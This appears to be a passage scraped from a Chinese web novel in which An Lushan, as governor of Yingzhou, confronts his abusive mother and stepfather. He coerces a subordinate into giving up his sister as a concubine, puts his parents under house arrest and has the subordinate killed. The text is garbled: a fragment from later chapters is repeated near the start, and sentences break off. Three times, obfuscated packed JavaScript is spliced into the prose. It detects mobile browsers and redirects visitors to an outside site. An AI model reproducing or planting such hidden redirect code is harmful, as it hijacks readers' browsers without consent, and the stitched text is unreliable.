现如今都督把孙队,叫过来,不会是要把自己灭口吧! 这般想这,赵兵马使当即就跪了下来:“求都督饶命啊!” “下官一时犯糊涂,利欲熏心,求都督饶了下官这一次吧!” 他说着膝行上前,抓住安禄山衣袍的下摆,眼泪纵横道:“都,都督!都督若是喜欢舍妹,下官明日便将她送来,要打要骂随都督喜欢!” “求都督看在舍妹入贵府为妾的份上,饶下官一命吧!” 闻言,安禄山略微一笑:“这可是你自己说的。” “明日见不到你的亲妹妹,你就提头来我见吧。”安禄山说着不耐地摆了摆手,“滚出去。” 赵兵马使连忙应了声,匆匆抹掉脸上的泪水,朝着门外夺路而逃。 眼看着赵兵马使狼狈地跑远了,安父这才明白事情已经完全脱离了控制。 他此时此刻终于意识到,如今站在他面前的这个男人,顶天立地,威风凛凛,早已不再是从前那个任人打骂的窝囊废了。 这个继子从小时候起就不是个逆来顺受的,不然也不会一直遭到打骂。 如今他已经成了在营州只手遮天的人物,自己再妄图以继父的身份向从前那样去压他,几乎是一种找死的行为。 想明白一切的安父,脸上立刻摆出了一副讨好的笑容:“我听说禄山你在外边忙了好几天了,肯定辛苦了,要不你先去休息,我和你娘就先回去?” 安禄山静静地看着自己的继父,唇角微微勾起了一抹极其浅淡的微笑:“路上不安全,我派亲兵送您二老回去。” 26. 软禁和清算 赶,赶出家门?! 此言一出,赵兵马使当即难以置信地看向安母。 因着他并非柳城本地人,对于安都督不祥之子的传闻他算是略有耳闻,但是知道得不算详细。 这安老夫人疯了吧,居然能把未来的营州都督赶出家门?! 而且还是在人家十四岁,已经明事理的时候! 他实在是搞不懂,这老夫人是怎么想的啊,要是她真不想要这个传言身负不详的儿子,早在小时候把人掐死不行吗? 既然都养大到了十四岁,那怎么还把人赶出去?! 这不是吃力不讨好吗! 赵兵马使自然是不清楚安禄山曾经在母亲和继父的手底下,过的是怎样牛马不如的日子,更不可能会知道安母昔年占卜到的那个荒唐预言。 只是他就算再不清楚其中的内情,此刻也看得出来,都督和他父母之间的关系绝对算不上有多好。 何止是不好呢,眼见着周围的气氛越来越剑拔弩张,双方的关系简直可以用势如水火来形容了。 还有刚才都督看向他时那泛着寒意的目光,他到现在想起来,都还会不由自主地打哆嗦。 赵兵马使的后背上逐渐渗出了一层冷汗。 此时此刻,他终于开始意识到,带都督的父母进来,可能不是一件明智的事情了。 就在赵兵马使开始后悔自己不该如此莽撞的时候,安母却是被儿子一句话给噎到了。 她使劲瞪着儿子,勉强维持着自己的颜面。 “不......年,年纪大了,记不清了!” “年纪大了,记不清了?”安禄山细细地回味着母亲的话,脸上逐渐浮现出了一个讽刺的笑容,“好一个记不清啊。” 一个记不清,就能把从前对他的所有伤害,都轻描淡写地一笔带过吗? 眼见着气氛越来越僵,安父连忙打圆场道:“哎呀,禄山你才刚回来,快坐下,别理她!” “你娘一介女流之辈,头发长见识短,你如今都是做都督的人了,犯不着跟她计较!” 安禄山却是冷冷地看着他:“滚下来。” 若要说他对自己的亲生母亲还存有一丝的尊敬和希望,那么对于这个和他没有半点血缘的继父,他没直接把人扔出去已经很克制了。 安父错愕地看着自己的继子,而后在对方那双冷漠的眼眸中,看到了一股滔天的杀意。 那杀意仿佛隐忍了许久,只待一个机会便要破土而出,将他撕成碎片。 安父被彻底吓住了,哆哆嗦嗦地从主座上站了起来,下意识退到了一旁。 安禄山这才收回那泛着杀意的目光,来到主座处落座。 他略微抬起眼皮看向一旁的李猪儿,后者当即会意,将原本桌上那个被安父用过的茶杯收走,拿出新杯子给安禄山倒了一杯茶水。 “郎君请用茶。” 这时安父才勉强回过神来,难以置信地看着他的继子,目光充满了不解和愤恨。 他这个继子是什么回事? 从前可是任他打骂也不敢还手的,如今怎么变得这么强硬了?! 自己可是他的继父! 他怎么敢的!!! 安父怨毒盯着自己的继子,习惯性地就要撸起袖子走上前,紧接着便听得面前的安禄山开口问道:“你们是来干什么的?” 要钱?还是要东西? 除此之外,安禄山想不出其他的。 就从母亲和继父这两身破了洞的衣服他也能看得出来,这对老夫妻这些年来过得定然不怎么样。 他这个继父还是有些东西的,单是他们夫妻两人过日子绝不至于这么惨。 可是他们有一个市井无赖的大儿子,还有一个爱赌博的二儿子啊。 这两兄弟一个没有活计,整日里游手好闲;另一个每月发下来的月俸,都不够进赌场走半圈的。 在安禄山十四岁被赶出家门之前,这两个继兄就已经整日里不着家,而后不停地跟家里要钱了。 如今他倒是有些好奇,他那两个继兄现在还活着没,有没有因为欠债太多被别人给打死? 没准就是因为他那两个继兄欠了一屁股债,被债主抓起来正危在旦夕,所以这二老才来找他的呢。 不管是找他要钱还债,还是让他出面平事,想都别想。 他巴不得那两个混蛋赶紧死,就如同他面前的母亲和继父,曾经也殷切盼望着他快点死一样。 只是...... 要他救那两个混蛋自然不可能,但是...... 安禄山的目光逐渐落到了安母那身满是补丁的衣服上。 就在他犹豫着,要不要给他的母亲些钱财布匹,至少让她换身体面的衣服的时候,耳边却传来继父爽朗的笑声。 “你这孩子,我和你娘来找你,还不都是为了你的事啊!” “你说说你今年都二十了,还没有娶上媳妇,你自己不着急娶妻生子,我和你娘可着急啊!” 安父说着指了指客座处的赵兵马使:“这不,我和你娘已经给你把亲事说好了,今个来就是想着看你什么时候有空,咱们把三聘六礼的日子给定下来,好让你快些娶上媳妇,早点给我和你娘生个大胖孙子!” 此言一出,安禄山嘴里的茶直接喷了出来。 “郎君!”李猪儿连忙道,“郎君您还好吗?!” 安禄山缓缓抬起头,看向赵兵马使的目光中涌动着滔天的杀意。 “好,我可太好了。” 好到现在就想把这个姓赵的给剁了。 这帮玩意从他这说亲不成,居然都把注意打到他母亲和继父那去了。 好啊,真是太好了。 看来这都督府是该洗洗牌,来一次大换血了。 安禄山就这么冰冷地盯着赵兵马使,然而安父还在自作聪明地继续说着:“不过当然,禄山你这如今都已经是做都督的人了,家大业大的,聘礼肯定是用不着我们给你准备,你自己置办就行了!” 彼时安父话音未落,赵兵马使连忙慌张地开口:“安老丈人!” “啊?”安父不解地看着赵兵马使,“亲家怎么了?” 赵兵马使抬起头抹掉额头溢出的冷汗,努力扬起了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“回禀都督,是下官的妹妹!”赵兵马使目光灼灼地看着安禄山,“舍妹今年才刚及笄,如今正是待字闺中,知书达理,聪慧过人,琴棋书画亦是样样精通!” “长得可还不错?”安禄山晃动着杯子里的茶,不动声色道。 “长得不错!”赵兵马使连忙道,“不是下官自吹自擂,舍妹生得花容月貌,倾国倾城,整个营州鲜有姑娘能比得上!” “而且自小便教养得极好,十三岁起便能协助内人治理内宅之事,虽非生于名门,却极有大家闺秀的风范,都督您一定会喜欢的!” 赵兵马使不遗余力地夸奖着自己的妹妹,说完这一席话后,他的脸上已经布满了自信的神情,对于这门亲事势在必得。 他的妹妹如此优秀,正是要如都督这般青年才俊、前途无量的好儿郎才配得上! 而安父也连忙趁势道:“禄山你看看!我和你娘给你挑得媳妇不错吧!” “你们两个郎才女貌,简直是天造地设的一对!” “俗话说得好,一家有女百家求,来来来,咱们现在赶紧把婚期和聘礼什么的都定下来!” 然而安禄山却是冷笑了一声:“不用定了,就明日吧。” 27. 为自己反抗 “啊?”此言一出,众人都愣了。 赵兵马使迟疑道:“这,这是不是太仓促了?” 过六礼少说也得大半年呢! 他倒是没看出来,原来都督还挺猴急的! 然而下一刻,安禄山却道:“明日我派下人抬一顶小轿子过去接,还是你们自己把人送过来?” 闻言,赵兵马使当即瞪大眼睛,不可思议地看着安禄山。 “荒唐!”安母一拍桌子,从位子上站了起来,“赵兵马使是要把自家妹妹嫁给你做正妻的!你怎敢以纳妾之礼待人家?!” 而赵兵马使的脸色更是一阵青一阵红。 安父连忙打圆场道:“哎呀禄山肯定是想错了!你和赵兵马使都消消气,消消气!” 末了,他又看向安禄山:“你这孩子怎么想的,赵家在营州也是颇有脸面的人家了,人家好好的一个大家闺秀,怎么可能做你的妾?” “人家嫁给你必然是要做正妻的!” 此言一出,赵兵马使的脸色这才缓和了几分。 而安禄山只觉得好笑。 大家闺秀? 勉强配给他提鞋! 况且他姓赵的今儿个既然敢来虎穴探这个虎口,那这个鞋,他是提也得提,不提也得提! 这般想着,安禄山略微抬眸看着对方,那本就面色不善的脸上顷刻间浮现出了冰冷的笑意。 他从座位上直起身,缓缓来到对方的身前,拍了拍对方的肩膀。 “赵兵马使。” 听到这个称谓,赵兵马使的心间猛地一沉。 从今日都督回来开始,便未曾喊过自己一句“九郎”,可见对方根本就没有消气! 那这婚事,都督他...... “我给你三个选择。”安禄山俯下身,那双森寒的眼眸直视着对方的双眼。 “第一,明日让我见到你的妹妹,你自己用小轿子送过来。” “第二,今日之内,你把自己的官袍交还到都督府,从此在营州境内销声匿迹。” “第三,若是你自己不愿销声匿迹......” 说到此,安禄山没有再言语,而是伸出手轻轻地拍了拍对方的脸。 而赵兵马使几乎是全身一软,整个人都瘫倒在了椅子上。 这第三是什么意思,已经再明显不过了...... 若是你自己不愿,那我就帮你销声匿迹。 并且是永远的。 他的直觉果真没有错,都督他,从一开始就动了杀心。 可是他,意识得实在是太晚了。 安父呆呆地站在一旁,他完全没料到事情居然会发展到这个地步。 安母登时拍桌而起,大叫道:“孽子而敢!” 因这一喊,安父也堪堪回过神来,跟着妻子一起骂道:“安禄山你个混帐!” “婚姻大事,父母之命媒妁之言!我和你娘给你定的是正妻,正妻!!!” “你怎么敢指妻为妾的!” 这个混帐,不仅让自己收的礼打了水漂,自己反而还得好声好气地去跟人家赔礼道歉,以免结仇。 更重要的是,他是当着外人的面打自己的脸呢!!! 闻言,安禄山却低低地笑了。 他居高临下地看着安父,淡漠的目光落到后者的身上,仿佛在看一只蝼蚁。 “你算是个什么东西,也敢教训我?” 安父的一张老脸涨得通红,无能狂怒着:“我是你继父!” “我也在纳闷呢。”安禄山微微叹了口气,“你从前也不傻啊。” 末了,他又漫不经心地回到自己位子上。 “怎么现在居然能傻到,你觉得自己仗着是我继父的身份,就能骑到我头上?” “你!”安父气得全身都在颤抖,哆嗦着手臂指着他,“大唐律法,不孝不悌,轻则笞四十,重则杖八十,你既为营州都督,难道会不知道?!” 然后安禄山闻言,却是开始仰头大笑了起来。 整个屋内响彻着他连绵不绝的笑声。 “你,你什么意思!”安父瞪着安禄山。 最后安禄山笑得都肚子疼了,才勉强止住笑意。 他舒缓了一下脸上笑得抽筋的肌肉,这才抬起头看向安父,那双幽深的眼眸中弥漫着冰冷和嘲讽。 “安延偃,你要把这个事上报官府吗?” “在我的地盘,来我的都督府,状告我不孝?” 不过这事倒是提醒他了。 安禄山说着看向李猪儿:“你去把孙孝哲喊来,让亲兵队在外边候着。” 他的亲兵队是自己一手调教提拔的,几乎等同于他的私兵,不出兵时就分布在他的府邸四周,护卫宅邸。 此言一出,赵兵马使那瘫软的全身直接从椅子上滑了下来。 他慌张地从地上爬起来,颤抖着道:“都,都督......” 安都督的亲兵队直属于都督自己,除了都督本人,几乎从不和任何人打交道,因此都督府的其他同僚可能不太清楚孙孝哲是谁。 可是他和都督关系匪浅,不仅知道孙孝哲是都督的亲兵队队长,更知道孙队性情残忍,嗜血嗜杀! 现如今都督把孙队叫过来,不会是要把自己灭口吧! 想到此,赵兵马使当即就跪了下来:“求都督饶命啊!” “下官一时犯糊涂,利欲熏心,求都督饶了下官这一次吧!” 他说着膝行上前,抓住安禄山衣袍的下摆,眼泪纵横道:“都,都督!都督若是喜欢舍妹,下官明日便将她送来,要打要骂随都督喜欢!” 随后他躬身长拜,额头在地上磕出了闷响。 “求都督看在舍妹入贵府为妾的份上,饶下官一命吧!” 安禄山居高临下地看着他,唇角勾起了一抹冰冷的笑意:“这可是你自己说的。” “是,是!”赵兵马使忙不迭道,“都督青年才俊、光风霁月,舍妹哪里配得上能做都督的正妻?能给都督做个洒扫的姬妾便是她的荣幸!” 安禄山闻言冷笑了一声,俯身捏起他的下巴,迫使他看着自己,缓缓道:“明日若是见不到你的亲妹妹,我不介意亲自帮你销声匿迹。” 说罢,安禄山松开手,嫌恶地踹了一脚面前这个趴在他的脚边,宛若一条野狗一般狼狈的男人。 “滚出去。” 赵兵马使连忙应了声,匆匆抹掉脸上的泪水,转过身朝着门外夺路而逃。 眼看着赵兵马使狼狈鼠窜的背影,安父整个人从头到脚都涌起了一股寒意。 他此时此刻终于意识到,如今站在他面前的这个男人,权势滔天,威风凛凛,早已不再是从前那个任人打骂的不祥之子了。 这个继子从小时候起就不是个逆来顺受的,不然也不会动辄遭到打骂。 如今他已经成了在营州只手遮天的人物,自己再妄图以继父的身份向从前那样去压他,几乎是一种找死的行为。 想明白一切的安父全身都在颤抖,眼见着对方往自己这边看来,他的脸上立刻摆出了一副讨好的笑容。 “我听说禄山你在外边忙了好几天了,肯定辛苦了,要不你先去休息,我和你娘就先回去?” 闻言,安禄山那双锋利的剑眉微微挑起,唇角微微勾起了一抹森寒的笑意:“路上不安全,我派亲兵送您二老回去。” 能有什么不安全的?! 现在最危险的人就在他们面前! “你这个混账!”安母死死地瞪着安禄山,“你毁了我和你继父亲手给你挑选的好姻缘,现在还想对我们动手不成?!” “我辛辛苦苦地把你养大,因为你这个不祥之子,我这些年来受了多少委屈?!” 她冲着自己的儿子大吼道:“你就是这么报答我的吗!!!” 闻言,安禄山低下头陷入了沉默。 而后他低声问道:“你既然这么恨我,为什么不在我刚生下来的时候就杀了我?” “你以为我不想吗?!”安母朝着自己这辈子唯一的儿子吼道,“若不是神意要我必须养你到十四岁,我难道愿意受这个苦!” “你生来就命带不祥,注定要害死你身边所有的人,有谁会愿意跟着你去死!” “就连你那块玉!”许是因着情绪太过激动,安母的胸膛不断地起伏着,“那块玉明明就是不祥之物,可是你却偏偏视它如珍宝,你还敢说自己不是恶魔化身吗?!” 安禄山抬起头,有些错愕地看着他的母亲。 而在那错愕的目光中,竟还夹杂着一丝稚嫩的迷茫。 他的耳边不断回荡着母亲的吼声,那一句句发自肺腑的怒吼,化作一把把世间最锋利的利刃,将他原本就不完整的内心砍得四分五裂。 他低低地笑了。 是啊,他的母亲从来没把他当人看过,从来都没有。 无论他再怎么自欺欺人,再怎么蒙骗自己,没有就是没有。 他从一开始,就不该心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507595|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存侥幸,怀抱着哪怕一丝一毫的奢望。 那就让他,至少为自己反抗一次吧。 “那你养大我,难道是你自己愿意的吗?”安禄山站起身,声嘶力竭地大吼着,“你自己摸摸自己的良心,你养我的这十四年来,我过的是什么日子!” 他说着迈开腿,缓慢地、一步步地逼近着自己的母亲。 “从我出生到被你赶出家门的那十四年来,我都是在马厩里睡的,连枕头和褥子都没有,被子都是烂的!” “家里又不是没有多余的地方可以睡,也不是缺吃少穿。”这般说着,安禄山的双眼渐渐开始发红,连带着声音里都多了一丝哭腔,“可是我就是只能睡马厩,吃的永远都是你们吃剩的残羹冷炙!” 他的声音逐渐变得沙哑而又哽咽,当来到自己的母亲面前时,他觉得自己几乎耗尽了此生全部的力气。 “在你的眼里。”最后,他双眼通红地看着自己的亲生母亲,脸上露出了一个比苦还要难看的笑容,“我连只畜生都不如。” 而后,他的视线逐渐变得模糊了。 似乎是有什么东西滑过了脸庞,顺着他的下巴滴落了下来。 安禄山有些恍然地伸出手,那滴泪水刚好落在他的掌心。 正堂里很冷,偌大的屋子里仅仅放着一盆炭火,根本无济于事。 因此这滴泪水落到他掌心的时候,已经变得冰凉了。 冰冷的冷意贯穿了他的整个手掌,很快遍布他的四肢百骸,最后侵入了他那颗早已千疮百孔的内心。 安禄山曾经无数次地想过,如果他能在刚生下来的时候就死掉,是不是后来就不用过得那么痛苦。 他的身上至今还纵横着无数的鞭痕,义父张守珪曾有一次看到他身上的这些伤疤,还以为他是不是曾经被敌军捉住,而后严刑逼供过。 呵呵呵......有谁能想到,他这辈子为数不多的几次死里逃生,不是从敌军手底下,而是从他的亲生母亲手里呢? 他也曾经无数次想着要么干脆死了算了,一了百了,结束这日夜遭受打骂的日子,只要痛苦那么一下,整个世界都会彻底安静了。 八年前,他在离家出走的时候,就暗自发誓,若是那次他没能逃出生天,被抓了回来,那他就自杀。 当着所有人的面前,用自己的鲜血染红脚下的土地,让自己罪恶的生命彻底结束。 彻底远离打骂,远离欺凌,远离痛苦。 如果不是,如果不是...... 如果不是那场梦...... 也许他在八年前就已经死了。 如果不是那个开满牡丹花的院子,如果不是那个身穿鹅黄色襦裙的姑娘,如果不是那句“长安”...... 对,长安。 安禄山深吸了一口气,缓缓闭上双眼。 他要在大唐的官场继续走下去,爬到更高的位置,爬去长安的官场,在那里站稳脚跟。 他要去长安。 他要,他要找到那座开满牡丹花的院子,如果没有那样的院子,他就自己在长安盖一座。 他要...... 他要再见一眼长安公主,他想看看公主殿下的背影,同他梦里遇见的那个少女,是否真的相像。 长安公主...... 对,长安公主也是衔玉出生的。 如果可以的话,他要去仔细地看一看公主胸前挂着的那块玉,同他自己的玉仔细比对一下,看看他们的玉,是否相似。 这般想着,安禄山伸出手按在自己的胸口。 那里静静地躺着和他一同降生的黑玉,相伴了他整个人生的二十年。 安禄山再睁开眼时,双眸已经充满了坚定。 他要去长安,他要升官加爵,他要成为朝中重臣,他要让所有人都不敢再轻视他、唾弃他。 在此之前,没有人能成为他往上爬的阻碍。 没有人,他的亲生母亲也不行。 无论是那个不祥之子的名头,还是不孝不悌的名声,所有可能影响他仕途的东西,他都必须扼杀掉。 现如今他官至于此,已经没有人会再提起那个不祥之子的过往了。 那么剩下的,就只有...... 安禄山冷冷地盯着面前呆愣的安母,那双宛若深渊一般的眼眸中逐渐泛起了一丝杀意。 这时,外边响起了敲门声,片刻后,李猪儿推开门走了进来。 “郎君,孙队来了!” 28. 软禁和清算 “让他进来。”安禄山转身回到了主座上。 李猪儿应声走了出去,很快正堂的门便再次被推开了,孙孝哲跟着李猪儿走了进来,来到安禄山的面前恭敬地行礼道:“见过都督。” 安禄山低头喝着茶,掩盖起自己通红的双眼,而后冷声吩咐道:“近来营州境内不太平,你带着几个亲兵护送安老丈人和安老夫人回去,随后分派队伍日夜护卫二位的家宅。” 闻言,孙孝哲不由得一愣:“敢问都督,是怎样的护卫?” 安禄山冷笑了一声:“连只虫子都不能进出。” 安父骇然地看着自己的继子:“你什么意思?!” “混账,你敢软禁我们?!”安母朝着儿子吼道。 她说着便来到了安禄山的面前,伸出手就要落到对方的脸上。 此时此刻,她只恨自己没有把从前惯用的那根鞭子带上,不然又何须用自己的手来掌掴。 安母这般想着,只是还未等她的那只手落下,面前的安禄山便已然抬起手,扼住了她的手腕。 而后她在对方那双通红的眼眸中,看到了一股将要汹涌而出的杀意。 这股杀意让她下意识打了个寒战。 “安老夫人。”安禄山目光森寒地看着她,“若是安老夫人愿意老老实实地呆在自己家里颐养天年,不生事不惹事,看在如您自己所说的,‘昔日的生养之恩’的份上,本都督可以保你下半辈子吃穿无忧。” “可若是你不愿意......” 安禄山抓着安母的手腕猛地一甩,后者整个人失控地摔到了地上。 他居高临下地看着跌到地上的母亲,那通红的双眸里再也没有了一丝一毫的感情。 “那么本都督也不能保证会发生什么。” 说完这句话,安禄山朝着孙孝哲冷声吩咐道:“把人带走。” 孙孝哲会意,朝门外吹了几声特殊的口哨,很快正堂的门被再次推开,几个亲兵陆续走了进来。 “你,真是反了天了!”安母坐在地上嘶吼着,“你这个孽子!混账!!!” 安禄山冷眼看着母亲在亲兵手底下发疯挣扎,那披头散发的模样宛若一只恶鬼。 狼狈不堪,又带着几分悲惨。 就如同从前的自己一样。 “堵住他们的嘴。” 亲兵们得令,分别捂住了安父和安母的嘴,把他们拖了下去。 片刻后,正堂的大门再次被关上了。 屋里陷入了死一般的寂静。 “郎,郎君......”李猪儿有些迟疑地开口。 安禄山颤抖着拿起茶杯抿了一口茶水,而后努力用平淡的语气吩咐道:“你带人去库房,把先前朝廷赏赐的那批脂粉搬出来。” 李猪儿得令,迅速告退了。 待到所有人都离开了以后,安禄山仰头看着屋顶,浑身像被抽干了所有的力气一般,彻底瘫软在了椅子上。 他伸出双手捂住自己的脸,竭力遏制住抽泣的声音。 没有人知道,此时此刻,在某间府邸的正堂内,有一个身居高位、威猛强健的大唐将领,却将自己宛若一座山般的身躯蜷缩成了一团,不断地颤抖着,呜咽着,哭泣得像个孩童。 ...... 彼时在安禄山府邸的一座后院里,柳姨娘刚用珍藏的膏子抹完手,看着丫鬟把细纱盖在她的手上,而后夹起冰块敷在烫伤的部位。 冰块隔着细纱触碰到手背的瞬间,冰凉的触感让她浑身都打了一个激灵。 末了,柳姨娘低头看着自己惨不忍睹的双手,幽幽地叹了口气。 可千万不要留下伤疤啊。 毕竟她就是靠着这双手得宠的,即便看都督的态度,一时半会儿应当是不会因为这双手受伤而冷落她,可是若是日后真的留了疤,变丑了,就不一定了。 她这般想着,忽地内室的门被推开了,有丫鬟从外边跑来,小声通传道:“姨娘,郎君来了!” 闻言,柳姨娘连忙回过头去,随后便见到一个高大的身影自门口走了进来。 她赶紧从椅子上站起身,含笑着迎上前去:“郎君!” 安禄山见她上前,不由分说地牵起她的手,举到眼前仔细端详着:“还疼吗?” 但见眼前白皙细嫩的手上,手指和手背处都被烫得灼红。 醒目的烫痕,令他的心间猛地一抽搐。 这样娇贵细嫩的一双手,本该是永远被精心呵护的,永远不会受到一丝一毫的委屈才对...... 安禄山看着这双宛若破碎的花儿般令人心疼的手,眼眸逐渐变得晦暗。 而柳姨娘听见对方关心的话语,不禁害羞地低下头,秀丽的脸颊微微一红,脸上却难掩幸福的笑意。 “有了郎君的关心,怎么样都不疼了。” 她庆幸自己沦落红尘半生,最终寻得了一个可以依靠的良人。 想到此,她不由得关心道:“老丈人和老夫人可是已经送走了?” 安禄山微微点了点头,朝外边招了招手。 随后一群下人便陆续走了进来,他们怀里搬的、手里提的那些,正是腊日宫中赐下来的那些脂粉。 柳姨娘惊喜地看着那些东西被下人们放到了自己的桌上,随后头顶处传来了郎君低沉的声音:“你这双手受委屈了,这些日子好好养着,缺什么都跟我说。” 柳姨娘的心间不由得涌过一股暖流。 郎君待她,实在是太好了...... 她抬头感动地看着安禄山,却见后者的眉目间难掩疲惫的神色,眼眶周围有些红肿,双眸更是布满血丝,下巴上满是胡茬,想来是许久没有休息好了。 见到安禄山这般模样,柳姨娘不禁有些心疼。 “郎君在外边劳累了那么多天,要不要先休息休息?” “妾身服侍您小憩片刻吧?” 安禄山轻轻点头:“嗯。” 他真的是累了。 太累,太累了...... 柳姨娘环抱着安禄山的胳膊,服侍对方躺到榻上,替对方把鞋子脱下,而后躺到了对方的身侧。 只是她才刚躺下,身侧人随即伸出粗壮有力的双臂从背后圈住了她,将她紧紧地拥入了怀里。 柳姨娘被吓了一跳:“郎,郎君?” 身后人微微摇了摇头,伸出手握住了她的一双玉手,小心地避开她手背上烫伤的部分,同她十指相扣。 而后缓缓开口道:“睡吧。” 那本就低沉的嗓音如今听着竟是沙哑无比,话语间充满了疲惫。 柳姨娘低头望向那和郎君的手掌亲密紧扣的玉手,羞涩地笑了:“好。” 两人就这样躺在榻上,纷纷闭上了眼睛。 不知过了多久,安禄山的意识逐渐变得昏沉。 迷迷糊糊地,他感觉到和自己十指相扣的那双手似乎微微动了动。 那是一双,小巧而又娇嫩的手…… 怀里拥抱着的身躯是那么的温软,恍惚间,他竟感觉自己拥抱的是另一个人。 那个人也有着一双细嫩的小手,姣好的面容尚且充满稚嫩,却足以令天地黯然失色。 那个人是,是…… 是谁呢…… 安禄山已经想不起来了。 在意识陷入昏睡的最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534339|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,他的脑海里想的是,他一定要去长安。 一定要,再次见到长安公主...... · 安父和安母被亲卫队“护送”回家里之后,便被软禁了起来,杜绝和任何人接触。 翌日黄昏,从赵兵马使的府里抬出了一顶红色的小轿子,尽力避开了所有相对热闹的地方,悄悄地送到了安禄山的府邸。 那轿子一路上都在传出年轻姑娘的哭声,没过多久,竟传出了“新娘子含冤而死,化作女鬼索命”的谣言。 等那轿子在后院停稳了以后,已经哭得双眼通红的赵姨娘被带到了安禄山的跟前。 安禄山冷着眼打量了一遍这个新纳入府的妾,而后失望地摇了摇头。 没有丝毫的相似之处。 他不耐地摆摆手,让下人把赵姨娘带下去了。 而后把孙孝哲唤了过来,低声吩咐了些什么。 他必须杜绝昨日那场谈话被泄露出去,只是可惜他没办法像软禁母亲和继父一样软禁对方。 那就只能让对方,彻底地保守住秘密了。 孙孝哲得了命令后很快退下了。 当夜,深受营州都督宠信,红极一时的赵兵马使在家中自缢而亡。 这一消息在都督府内掀起了轩然大波。 赵兵马使如今正处于如日中天的时候,怎么可能想不开去寻死?! 随后便有人发现,都督父母的家宅已经被都督的亲兵队包围了起来,禁止任何人接近。 有些耳目聪明的,很快便打听到了,赵兵马使曾和都督父母一同去都督家中的事。 只是再详细的内情,他们也无法知晓了。 但他们大抵可以推断出,赵兵马使八成是因为惹怒了都督,从而遭到了清算。 而赵兵马使之所以会惹怒都督,也许和都督的父母有些关系。 这一消息对于其他人而言,是机会,也是警告。 赵兵马使下位,都督身边少了一个得力的亲信,那么谁能顶上,就看谁有这个能耐,能够再次讨好都督了; 但同时赵兵马使的结局,也让他们意识到,一旦触碰了都督的逆鳞,无论他们先前有多受宠,下场都不言而喻。 那都督的逆鳞……是他的父母? 还是说和他的父母有关? 他们无从知晓,有亲兵队守着,他们现在连都督父母的宅邸都进不去。 只是若是他们接近不了都督的父母,又怎么才能和都督攀上亲事呢? 所有人都在一筹莫展着,想尽各种办法去探听消息,但一无所获。 营州的雪下得越来越大了,鹅毛大雪将天地染成了白茫茫的一片。 快要过年了。 一年到头,在外打拼闯荡的游子们,但凡是能回到家里与家人们团聚的,都已经开始动身了。 这其中就包括安禄山的两个继兄。 没过几日,当安大回到柳城,来到自家宅院的门前时,却见到整座院子都已经被士兵给包围了起来。 “这,不是,这......” 他呆呆地走到远处,观察了一下四周的街坊,确定这就是自己家,自己没走错路。 那这是怎么个情况? 安大愣着脑袋想要走上前去询问那些看守的士兵,这时他的胳膊忽然被人给拽住了。 安大回过头一看:“老二?” 只见安二朝着自家兄长摇了摇头:“先别过去,跟我走。” 安大有些不明所以,但还是点了点头。 两人刚要转身离开这里,这时忽地有亲兵注意到了他们两个,呵斥道:“你们两个,干什么的!” 29. 恶心他一把 眼见着亲兵向他们走来,安二的脸上登出露出了一个谄媚的笑意。 “这位军爷,我们两个是住在这周围的街坊,今天才刚回来过年。” “赶紧滚开!”亲兵不耐地朝他们挥手,“闲杂人等滚远点!” 安二连忙道:“是是是,我们这就滚,这就滚!” 然而安大看着对方这般瞧不起人的态度,脸上却是露出了一副不忿的神色。 这里明明是他家,这帮人堵在他家门前不让人进去不说,居然还摆出了这副目中无人的嘴脸。 等他回头就找兄弟们查查,这些兵是谁的人。 最好是个大官手底下的,否则...... 呵。 他自十六岁起就混迹三教九流,同营州境内的各路豪侠都有些交情,若是想找办法弄一个小官,还是不费劲的。 安大这般想着,下意识瞪了那个亲兵一眼。 却不想就是这一眼,便被那个亲兵敏锐地察觉到了。 亲兵当即拔出了腰间的佩刀:“瞪什么瞪,找死是不是!” 明晃晃的佩刀在阳光下熠熠生辉,泛着寒光的刀面上清晰映着两兄弟的脸庞。 两兄弟被吓了一跳,安二连忙又拽了一把自家兄长:“没有没有!我家兄长脑子有些问题,军爷千万别跟他一般计较!” “快滚!”亲兵呵斥道。 两兄弟连忙转身想要离开这里,但随即不远处再次想起了一个喊声:“怎么回事?” 围在安父安母宅院四周的亲兵们见到来者,纷纷行礼道:“孙队!” 孙孝哲踱步来到两兄弟的面前,淡淡地瞥了俩人一眼,末了又扭头看向那个亲兵手里的刀。 “发生什么事了?” 亲兵连忙将刀收回刀鞘之中,将方才的来龙去脉解释了一遍。 “哦?”孙孝哲复又看向两个人,淡漠的目光将两人仔细审视了一遍,“邻居?” 安二拉着自家兄长点头哈腰道:“是,是。” 孙孝哲冷笑了一声,用下巴指了指两人:“叫什么名字?官籍拿出来!” 两兄弟老老实实地把官籍拿出来,递给了孙孝哲。 末了,安二又扭过头看向那被重重围住的宅院,面上露出了一副疑惑的神色。 “敢问军爷,这家人是怎么了,犯了什么事儿吗?” “不该问的别问。”孙孝哲冷冷地吐出这句话。 他将官籍所述的相貌特征和眼前两人的面相核验了一遍,确认是本地人无疑之后,这才将官籍还给了两人,冷声喝道:“快走,别在此处逗留!” 